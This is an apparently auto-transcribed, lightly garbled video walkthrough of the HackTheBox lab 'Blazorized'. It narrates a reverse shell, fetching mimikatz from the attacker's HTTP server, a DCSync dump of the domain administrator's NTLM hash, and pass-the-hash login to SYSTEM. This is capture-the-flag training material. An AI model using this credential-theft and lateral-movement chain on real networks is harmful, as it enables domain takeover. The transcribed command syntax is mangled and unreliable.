text: Shell's fine with them um and we get a shell almost instantly so that was definitely it it was the encoding issue um where's that set content command let's do rev. PS1 we'll call this rev 2. PS1 and oddly enough it's only one size different um so I think it has to be a bat file let's just do RL RP NCL lvmp 901 and we're going to set this to be rev 2. PS1 and I don't think this is going to magically get us a shell quickly um the issue is definitely with it being po shell it needing be a bat file so let's look at 6010 so if we go back to Blood Hound we can search for the user um 6010 there they are markam has owned even though I don't know exactly what marking as own does in community Blood Hound but it's habit anyways we see outbound control they have a member of this support um administrator which has

title: HackTheBox - Blazorized


text: DC sync privileges over the domain so we can run a DC sync from here so let's go back in program data and then we want to get mimic cats so we can do locate mimic cat.exe CP user share mimic cats this one should be fine and again we're not running secret stump because we don't know this user's password um we maybe we'll just set the password and then secret stump but uh that's not really obsc safe to change users passwords right so mimic cats probably the better way to go about it let's see we can Cur HTTP 10 1048 Port 8000 mimic cat.exe mimic cat.exe see do we get a 404 we forgot a 10 there it is so now we can do mimic cats.

title: HackTheBox - Blazorized


text: EXC was it LSA dump DC syn mimat does parameters really oddly wonder if we can just do this slash domain larized htb user administrator is this going to work maybe it worked but then and also like spam my output see standard module not found so it ran each of those as separate commands and then hung which is fine because that user we couldn't do it from anyways we need to be in this terminal mimic cat.exe LSA dump DC sync wonder if we put these in quotes like this plered HTP there we go that works so here we can get the anlm hash for the administrator user which then we can use this to log in so if we do like SMB exec administrator um just do administrator at 10 10 11 22 get exactly how to specify the hash y- Capital H or it's hashes I think actually like that let's see yep there we go so we do who am I we are

title: HackTheBox - Blazorized


text: now the system user we could do PS exec as well if we wanted to this will upload the binary and then execute it this is what most people probably do where am I system still so we can go users administrator desktop and get the flag so that's pretty much going to be the video um hope you guys enjoyed it take care and I will see you all next time

title: HackTheBox - Blazorized